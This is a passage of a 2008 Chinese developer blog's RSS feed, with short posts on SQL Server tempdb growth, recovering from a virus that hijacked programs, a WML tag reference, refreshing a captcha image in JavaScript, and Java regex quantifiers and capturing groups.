          发表时间: 2008年06月12日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>最近客户反应他们数据库的tempdb占用空间暴涨，一天之内居然可以达到20多G，后在网络上查了一下，tempdb的增长与sql语句的优化有很大关系，一些中间生成表包括数据都在tempdb中，如果sql优化不好的话，导致tempdb的增长是惊人的，查看代码发现一条sql语句写的有问题，关联太多而且没有必要，改之。</p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/202575#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Thu, 12 Jun 2008 17:51:01 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/202575</link>
        <guid>http://zzg810314.javaeye.com/blog/202575</guid>
      </item>
          <item>
        <title>该死的影像劫持</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/202478" style="color:red;">http://zzg810314.javaeye.com/blog/202478</a>&nbsp;
          发表时间: 2008年06月12日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          机器又中毒了，杀完毒后，任务管理器跟输入法还是不能用，意识到又是该死的影像劫持，用脚本修复，发现输入法还是不显示，查了查发现system32下的ctfmon.exe被病毒给干掉了，从别的机器拷了一个过来，久违的输入法终于出现了
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/202478#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Thu, 12 Jun 2008 13:44:23 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/202478</link>
        <guid>http://zzg810314.javaeye.com/blog/202478</guid>
      </item>
          <item>
        <title>WML标签速查手册(转)比较方便便于速查</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/202020" style="color:red;">http://zzg810314.javaeye.com/blog/202020</a>&nbsp;
          发表时间: 2008年06月11日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <div id="Acontent"><span id="ContentArea">
<p>
<table cellspacing="0" border="1" align="center" width="100%" cellpadding="3">
<p>&nbsp;</p>
<tbody>
<tr align="left" bgcolor="#ccffcc">
<th height="27" width="16%"><strong>结构相关标签</strong></th><th height="27" width="84%"><strong>语法及属性</strong></th>
</tr>
<tr align="left">
<td valign="top" width="16%">&lt;<strong>wml</strong>&gt;<br /></td>
<td valign="top" width="84%">&lt;wml xml:lang="<code><strong><em><span style="font-family: 新宋体;">lang</span></em></strong></code>" &gt; <br /><strong><em>　　　content</em></strong><br />&lt;/wml&gt;<br /></td>
</tr>
<tr align="left">
<td valign="top" width="16%">&lt;<strong>card</strong>&gt;<br /></td>
<td valign="top" width="84%">&lt;card <br />　　title="<code><strong><em><span style="font-family: 新宋体;">label</span></em></strong></code>" <br />　　newcontext="<code><strong><em><span style="font-family: 新宋体;">boolean</span></em></strong></code>" <br />　　style="<code><strong><em><span style="font-family: 新宋体;">style</span></em></strong></code>" <br />　　onenterforward="<code><strong><em><span style="font-family: 新宋体;">url</span></em></strong></code>" <br />　　onenterbackward="<code><strong><em><span style="font-family: 新宋体;">url</span></em></strong></code>" <br />　　ontimer="<code><strong><em><span style="font-family: 新宋体;">url</span></em></strong></code>" &gt; <br /><code><strong><em><span style="font-family: 新宋体;">content</span></em></strong></code> <br />&lt;/card&gt;<br /></td>
</tr>
<tr align="left">
<td valign="top" width="16%">&lt;<strong>template</strong>&gt;<br /></td>
<td valign="top" width="84%">&lt;template onenterforward="<code><strong><em><span style="font-family: 新宋体;">url</span></em></strong></code>" <br />　　onenterbackward="<code><strong><em><span style="font-family: 新宋体;">url</span></em></strong></code>" <br />　　ontimer="<code><strong><em><span style="font-family: 新宋体;">url</span></em></strong></code>" &gt; <br /><code><strong><em><span style="font-family: 新宋体;">content</span></em></strong></code> <br />&lt;/template&gt;<br /></td>
</tr>
<tr align="left">
<td valign="top" width="16%">&lt;<strong>head</strong>&gt;<br /></td>
<td valign="top" width="84%">&lt;head&gt; <br /><code><strong><em><span style="font-family: 新宋体;">content</span></em></strong></code><em> <br /></em>&lt;/head&gt;<br /></td>
</tr>
<tr align="left">
<td valign="top" width="16%">&lt;<strong>access</strong>&gt;<br /></td>
<td valign="top" width="84%">&lt;access domain="<code><strong><em><span style="font-family: 新宋体;">domain</span></em></strong></code>" <br />　　path="<code><strong><em><span style="font-family: 新宋体;">path</span></em></strong></code>" /&gt;<br /></td>
</tr>
<tr align="left">
<td valign="top" width="16%">&lt;<strong>meta</strong>&gt;<br /></td>
<td valign="top" width="84%">&lt;meta <strong>|</strong>http-equiv="<code><strong><em><span style="font-family: 新宋体;">name</span></em></strong></code>"<br />　　content="<code><strong><em><span style="font-family: 新宋体;">value</span></em></strong></code>" <br />　　forua="<code><span style="font-family: 新宋体;">true</span></code> | <code><strong><span style="font-family: 新宋体;">false</span></strong></code>" /&gt;<br /></td>
</tr>
</tbody>
</table>
<br /><br />
<table cellspacing="0" border="1" align="center" width="100%" cellpadding="3">
<p>&nbsp;</p>
<tbody>
<tr align="left" valign="top">
<th width="16%"><strong>任务相关标签</strong></th><th width="84%"><strong>语法及属性</strong></th>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>timer</strong>&gt;<br /></td>
<td width="84%">&lt;timer <br />　　value="<code><strong><em><span style="font-family: 新宋体;">value</span></em></strong></code>" /&gt;<br /></td>
</tr>
<p>&nbsp;</p>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>setvar</strong>&gt;<br /></td>
<td width="84%">&lt;setvar <br />　　value="<code><strong><em><span style="font-family: 新宋体;">value</span></em></strong></code>" /&gt;<br /></td>
</tr>
<p>&nbsp;</p>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>anchor</strong>&gt;<br /></td>
<td width="84%"><br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>a</strong>&gt;<br /></td>
<td width="84%">&lt;a title="<code><strong><em><span style="font-family: 新宋体;">label</span></em></strong></code>" &gt; <br /><strong><em>task</em></strong><br /><strong><em>text</em></strong> <br />&lt;/a&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>do</strong>&gt;<br /></td>
<td width="84%">&lt;do type="<code><strong><em><span style="font-family: 新宋体;">type</span></em></strong></code>" <br />　　label="<code><strong><em><span style="font-family: 新宋体;">label</span></em></strong></code>" <br />　　 <br />　　optional="<code><strong><em><span style="font-family: 新宋体;">boolean</span></em></strong></code>" &gt; <br /><code><strong><em><span style="font-family: 新宋体;">task</span></em></strong></code> <br />&lt;/do&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>onevent</strong>&gt;<br /></td>
<td width="84%">&lt;onevent type="<code><strong><em><span style="font-family: 新宋体;">type</span></em></strong></code>" &gt;<br /><code><strong><em><span style="font-family: 新宋体;">task</span></em></strong></code> <br />&lt;/onevent&gt;<br /></td>
</tr>
<p>&nbsp;</p>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>go</strong>&gt;<br /></td>
<td width="84%">&lt;go href="<code><strong><em><span style="font-family: 新宋体;">url</span></em></strong></code>" <br />　　sendreferer="<code><strong><em><span style="font-family: 新宋体;">boolean</span></em></strong></code>" <br />　　method="<code><strong><em><span style="font-family: 新宋体;">method</span></em></strong></code>" <br />　　accept-charset="<code><strong><em><span style="font-family: 新宋体;">charset</span></em></strong></code>" <br /><code><strong><em><span style="font-family: 新宋体;">content</span></em></strong></code> <br />&lt;/go&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>prev</strong>&gt;<br /></td>
<td width="84%">&lt;prev&gt; <br /><em></em><code><strong><em><span style="font-family: 新宋体;">content</span></em></strong></code> <br />&lt;/prev&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>noop</strong>&gt;<br /></td>
<td width="84%">&lt;noop/&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>refresh</strong>&gt;<br /></td>
<td width="84%">&lt;refresh&gt; <br /><em></em><code><strong><em><span style="font-family: 新宋体;">content</span></em></strong></code> <br />&lt;/refresh&gt;<br /></td>
</tr>
</tbody>
</table>
<br /><br />
<table cellspacing="0" border="1" align="center" width="100%" cellpadding="3">
<tbody>
<tr align="left" valign="top" bgcolor="#ccffcc">
<td width="16%"><strong>控件相关标签</strong></td>
<td width="84%"><strong>语法及属性</strong></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>input</strong>&gt;<br /></td>
<td width="84%">&lt;input <br />　　title="<code><strong><em><span style="font-family: 新宋体;">label</span></em></strong></code>" <br />　　type="<code><strong><em><span style="font-family: 新宋体;">type</span></em></strong></code>" <br />　　value="<code><strong><em><span style="font-family: 新宋体;">value</span></em></strong></code>" <br />　　default="<code><strong><em><span style="font-family: 新宋体;">default</span></em></strong></code>" <br />　　format="<code><strong><em><span style="font-family: 新宋体;">specifier</span></em></strong></code>" <br />　　emptyok="<code><strong><em><span style="font-family: 新宋体;">boolean</span></em></strong></code>" <br />　　size="<code><strong><em><span style="font-family: 新宋体;">n</span></em></strong></code>" <br />　　maxlength="<code><strong><em><span style="font-family: 新宋体;">n</span></em></strong></code>" <br />　　tabindex="<code><strong><em><span style="font-family: 新宋体;">n</span></em></strong></code>" /&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>select</strong>&gt;<br /></td>
<td width="84%">&lt;select title="<code><strong><em><span style="font-family: 新宋体;">label</span></em></strong></code>" <br />　　multiple="<code><strong><em><span style="font-family: 新宋体;">boolean</span></em></strong></code>" <br />　　 <br />　　default="<code><strong><em><span style="font-family: 新宋体;">default</span></em></strong></code>" <br />　　i <br />　　ivalue="<code><strong><em><span style="font-family: 新宋体;">default</span></em></strong></code>" <br />　　tabindex="<code><strong><em><span style="font-family: 新宋体;">n</span></em></strong></code>" &gt; <br /><code><strong><em><span style="font-family: 新宋体;">content</span></em></strong></code> <br />&lt;/select&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>option</strong>&gt;<br /></td>
<td width="84%">&lt;option title="<code><strong><em><span style="font-family: 新宋体;">label</span></em></strong></code>" <br />　　value="<code><strong><em><span style="font-family: 新宋体;">value</span></em></strong></code>" <br />　　onpick="<code><strong><em><span style="font-family: 新宋体;">url</span></em></strong></code>" &gt; <br /><code><strong><em><span style="font-family: 新宋体;">content</span></em></strong></code> <br />&lt;/option&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>optgroup</strong>&gt;<br /></td>
<td width="84%">&lt;optgroup title="<code><strong><em><span style="font-family: 新宋体;">label</span></em></strong></code>" &gt; <br /><code><strong><em><span style="font-family: 新宋体;">content</span></em></strong></code> <br />&lt;/optgroup&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>fieldset</strong>&gt;<br /></td>
<td width="84%">&lt;fieldset title="<code><strong><em><span style="font-family: 新宋体;">label</span></em></strong></code>"&gt; <br /><code><strong><em><span style="font-family: 新宋体;">content</span></em></strong></code> <br />&lt;/fieldset&gt;<br /></td>
</tr>
</tbody>
</table>
<br /><br />
<table cellspacing="0" border="1" align="center" width="100%" cellpadding="3">
<tbody>
<tr align="left" valign="top">
<th width="16%">输出效果标签</th><th width="84%"><strong>语法及属性</strong></th>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>img</strong>&gt;<br /></td>
<td width="84%">&lt;img alt="<code><strong><em><span style="font-family: 新宋体;">text</span></em></strong></code>" <br />　　src="<code><strong><em><span style="font-family: 新宋体;">url</span></em></strong></code>" <br />　　localsrc="<code><strong><em><span style="font-family: 新宋体;">icon</span></em></strong></code>" <br />　　align="<code><strong><em><span style="font-family: 新宋体;">alignment</span></em></strong></code>" <br />　　height="<code><strong><em><span style="font-family: 新宋体;">n</span></em></strong></code>" <br />　　width="<code><strong><em><span style="font-family: 新宋体;">n</span></em></strong></code>" <br />　　vspace="<code><strong><em><span style="font-family: 新宋体;">n</span></em></strong></code>" <br />　　hspace="<code><strong><em><span style="font-family: 新宋体;">n</span></em></strong></code>" /&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>table</strong>&gt;<br /></td>
<td width="84%">&lt;table align="<code><strong><em><span style="font-family: 新宋体;">alignment</span></em></strong></code>" <br />　　title=<span style="font-family: 新宋体;"><code><strong><em>"label"</em></strong></code><br /></span>　　columns=<code><strong><em><span style="font-family: 新宋体;">"n"</span></em></strong></code>/&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>td</strong>&gt;<br /></td>
<td width="84%">&lt;td&gt;<code><strong><em><span style="font-family: 新宋体;">content</span></em></strong></code>&lt;/td&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>tr</strong>&gt;<br /></td>
<td width="84%">&lt;tr&gt;<br />&lt;td&gt;<code><strong><em><span style="font-family: 新宋体;">content</span></em></strong></code>&lt;/td&gt;<br />&lt;/tr&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>b</strong>&gt;<br /></td>
<td width="84%">&lt;b&gt; <br /><code><strong><em><span style="font-family: 新宋体;">text</span></em></strong></code> <br />&lt;/b&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>big</strong>&gt;<br /></td>
<td width="84%">&lt;big&gt; <br /><code><strong><em><span style="font-family: 新宋体;">text</span></em></strong></code> <br />&lt;/big&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>br</strong>&gt;<br /></td>
<td width="84%">&lt;br/&gt; <br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>em</strong>&gt;<br /></td>
<td width="84%">&lt;em&gt; <br /><code><strong><em><span style="font-family: 新宋体;">text</span></em></strong></code> <br />&lt;/em&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>i</strong>&gt;<br /></td>
<td width="84%">&lt;i&gt; <br /><code><strong><em><span style="font-family: 新宋体;">text</span></em></strong></code> <br />&lt;/i&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>p</strong>&gt;<br /></td>
<td width="84%">&lt;p align="<code><strong><em><span style="font-family: 新宋体;">alignment</span></em></strong></code>" <br />　　mode="<code><strong><em><span style="font-family: 新宋体;">wrapmode</span></em></strong></code>" /&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>small</strong>&gt;<br /></td>
<td width="84%">&lt;small&gt;<br /><code><strong><em><span style="font-family: 新宋体;">text</span></em></strong></code> <br />&lt;/small&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>strong</strong>&gt;<br /></td>
<td width="84%">&lt;strong&gt; <br /><code><strong><em><span style="font-family: 新宋体;">text</span></em></strong></code> <br />&lt;/strong&gt;<br /></td>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<strong>u</strong>&gt;<br /></td>
<td width="84%">&lt;u&gt; <br /><code><strong><em><span style="font-family: 新宋体;">text</span></em></strong></code> <br />&lt;/u&gt;<br /></td>
</tr>
</tbody>
</table>
<br /><br />
<table cellspacing="0" border="1" align="center" width="100%" cellpadding="3">
<tbody>
<tr align="left" valign="top">
<th width="16%"><strong>特殊字符</strong></th><th width="84%">&nbsp;</th>
</tr>
<tr align="left" valign="top">
<td width="16%">&lt;<br /></td>
<td width="84%">
<p>&lt; (less than)</p>
</td>
</tr>
<tr align="left" valign="top">
<td width="16%">&gt;<br /></td>
<td width="84%">
<p>&gt; (greater than)</p>
</td>
</tr>
<tr align="left" valign="top">
<td width="16%">&amp;apos;<br /></td>
<td width="84%">
<p>' (apostrophe)</p>
</td>
</tr>
<tr align="left" valign="top">
<td width="16%">"<br /></td>
<td width="84%">
<p>" (quote)</p>
</td>
</tr>
<tr align="left" valign="top">
<td width="16%">&amp;<br /></td>
<td width="84%">
<p>&amp; (ampersand)</p>
</td>
</tr>
<tr align="left" valign="top">
<td width="16%">$$<br /></td>
<td width="84%">
<p>$ (dollar sign)</p>
</td>
</tr>
<tr align="left" valign="top">
<td width="16%">&nbsp;<br /></td>
<td width="84%">
<p>Non-breaking space</p>
</td>
</tr>
<tr align="left" valign="top">
<td width="16%">&shy;<br /></td>
<td width="84%">
<p>Soft hyphen</p>
</td>
</tr>
</tbody>
</table>
</p>
</span></div>
<p>
<script src="../../../gg_pb01.js"></script>
</p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/202020#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Wed, 11 Jun 2008 09:42:09 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/202020</link>
        <guid>http://zzg810314.javaeye.com/blog/202020</guid>
      </item>
          <item>
        <title>sqlserver在不插网线的情况下</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/200910" style="color:red;">http://zzg810314.javaeye.com/blog/200910</a>&nbsp;
          发表时间: 2008年06月06日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>sqlserver在不插网线的情况下</p>
<p>发现一个问题，自从装了一个数据恢复软件lumint，在不插网线的情况下，sqlserver启动异常，</p>
<p>&nbsp;</p>
<pre name="code" class="sql">SuperSocket 信息: gethostbyname(MSAFD Tcpip [TCP/IP]) : Error 11004。

有关更多信息，请参阅在 http://go.microsoft.com/fwlink/events.asp 的帮助和支持中心。</pre>
<p>&nbsp;卸载后可以正常使用</p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/200910#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Fri, 06 Jun 2008 14:04:33 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/200910</link>
        <guid>http://zzg810314.javaeye.com/blog/200910</guid>
      </item>
          <item>
        <title>jar命令</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/200823" style="color:red;">http://zzg810314.javaeye.com/blog/200823</a>&nbsp;
          发表时间: 2008年06月06日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>莫名奇妙的错误，一个jar怎么搞晕了呢？</p>
<p>&nbsp;</p>
<p>jar cvf db.jar com</p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/200823#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Fri, 06 Jun 2008 11:05:35 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/200823</link>
        <guid>http://zzg810314.javaeye.com/blog/200823</guid>
      </item>
          <item>
        <title>验证码的切换问题</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/196206" style="color:red;">http://zzg810314.javaeye.com/blog/196206</a>&nbsp;
          发表时间: 2008年05月23日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>刚搞了一&nbsp;个图形验证码，发现点&ldquo;换张图片&rdquo;不能刷新原有的图形，</p>
<pre name="code" class="js">var img = document.getElementById("randcode");	
img.src = "randCode.jsp?randid="+Math.random();		
	</pre>
<p>后来经过参考QQ邮箱的验证码，发现图片的src必须与上次不同才能刷新，例如QQ的是这样的</p>
<pre name="code" class="js">var S = function( object ) {
  return document.getElementById( object );	
};
function changeimg()
{
   S('vfcode').src = 'http://ptlogin2.qq.com/getimage?id=23000101&amp;' + Math.random();
}</pre>
<p>&nbsp;</p>
<p>OK！</p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/196206#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Fri, 23 May 2008 17:55:24 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/196206</link>
        <guid>http://zzg810314.javaeye.com/blog/196206</guid>
      </item>
          <item>
        <title>greedy、reluctant和possessive量词</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/194643" style="color:red;">http://zzg810314.javaeye.com/blog/194643</a>&nbsp;
          发表时间: 2008年05月19日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>greedy、reluctant和<strong style="color: black; background-color: #99ff99;">possessive</strong>量词的区别</p>
<p class="MsoNormal" style="text-indent: 20pt;">greedy、reluctant和<strong style="color: black; background-color: #99ff99;">possessive</strong>量词之间有微妙的区别。</p>
<p class="MsoNormal" style="text-indent: 20pt;">greedy量词被看作&ldquo;贪婪的&rdquo;，因为它们在试图搜索第一个匹配之前读完（或者说吃掉）整个输入字符串。如果第一个匹配尝试（整个输入字符串）失败，匹配器就会在输入字符串中后退一个字符并且再次尝试，重复这个过程，直到找到匹配或者没有更多剩下的字符可以后退为止。根据表达式中使用的量词，它最后试图匹配的内容是1个或者0个字符。</p>
<p class="MsoNormal" style="text-indent: 20pt;">但是，reluctant量词采取相反的方式：它们从输入字符串的开头开始，然后逐步地一次读取一个字符搜索匹配。它们最后试图匹配的内容是整个输入字符串。</p>
<p class="MsoNormal" style="text-indent: 20pt;">最后，<strong style="color: black; background-color: #99ff99;">possessive</strong>量词总是读完整个输入字符串，尝试一次（而且只有一次）匹配。和greedy量词不同，<strong style="color: black; background-color: #99ff99;">possessive</strong>从不后退，即使这样做能允许整体匹配成功。</p>
<p class="MsoNormal" style="text-indent: 20pt;">为了演示，我们分析输入字符串xfooxxxxxxfoo：</p>
<p class="a1">Enter your regex: .*foo&nbsp; // greedy quantifier</p>
<p class="a1" style="line-height: 10.5pt;">Enter input string to search: xfooxxxxxxfoo</p>
<p class="a1" style="line-height: 10.5pt;">I found the text "xfooxxxxxxfoo" starting at index 0 and ending at index 13.</p>
<p class="a1" style="line-height: 10.5pt;">Enter your regex: .*?foo&nbsp; // reluctant quantifier</p>
<p class="a1" style="line-height: 10.5pt;">Enter input string to search: xfooxxxxxxfoo</p>
<p class="a1" style="line-height: 10.5pt;">I found the text "xfoo" starting at index 0 and ending at index 4.</p>
<p class="a1" style="line-height: 10.5pt;">I found the text "xxxxxxfoo" starting at index 4 and ending at index 13.</p>
<p class="a1" style="line-height: 10.5pt;">Enter your regex: .*+foo // <strong style="color: black; background-color: #99ff99;">possessive</strong> quantifier</p>
<p class="a1" style="line-height: 10.5pt;">Enter input string to search: xfooxxxxxxfoo</p>
<p class="a1">No match found.</p>
<p class="MsoNormal" style="text-indent: 20pt;">第一个例子使用greedy量词.*搜索&ldquo;任何内容&rdquo;零次或者多次，后面是字母f、o、o。因为是greedy量词，所以表达式的.*部分首先读完整个字符串。这样，整个表达式不会成功，因为最后三个字母（&ldquo;f&rdquo;&ldquo;o&rdquo;&ldquo;o&rdquo;）已经被消耗了。所以匹配器缓慢地一次后退一个字母，一直后退到最右侧出现&ldquo;foo&rdquo;为止，这里匹配成功并且搜索停止。</p>
<p class="MsoNormal" style="text-indent: 20pt;">但是第二个例子使用的量词是reluctant量词，所以它首先消耗&ldquo;无内容&rdquo;。因为&ldquo;foo&rdquo;没有出现在字符串的开头，所以迫使它消耗掉第一个字母（x），这样就在索引0和4的位置触发第一个匹配。我们的测试示例继续处理，直到输入字符串耗尽为止。它在索引4和13找到了另一个匹配。</p>
<p class="MsoNormal" style="text-indent: 20pt;">第三个例子找不到匹配，因为是<strong style="color: black; background-color: #99ff99;">possessive</strong>量词。这种情况下，.*+消耗整个输入字符串，在表达式的结尾没有剩下满足&ldquo;foo&rdquo;的内容。<strong style="color: black; background-color: #99ff99;">possessive</strong>量词用于处理所有内容，但是从不后退的情况；在没有立即发现匹配的情况下，它的性能优于功能相同的greedy量词。</p>
<!-- page -->
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/194643#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Mon, 19 May 2008 22:49:48 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/194643</link>
        <guid>http://zzg810314.javaeye.com/blog/194643</guid>
      </item>
          <item>
        <title>捕获组</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/194642" style="color:red;">http://zzg810314.javaeye.com/blog/194642</a>&nbsp;
          发表时间: 2008年05月19日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <h4>引用java规范</h4>
<h4>组和捕获 </h4>
<p>捕获组可以通过从左到右计算其开括号来编号。例如，在表达式 <tt>((A)(B(C)))</tt> 中，存在四个这样的组： </p>
<blockquote>
<table cellspacing="0" border="0" summary="Capturing group numberings" cellpadding="1">
<tbody>
<tr>
<th>1&nbsp;&nbsp;&nbsp;&nbsp;</th>
<td><tt>((A)(B(C)))</tt></td>
</tr>
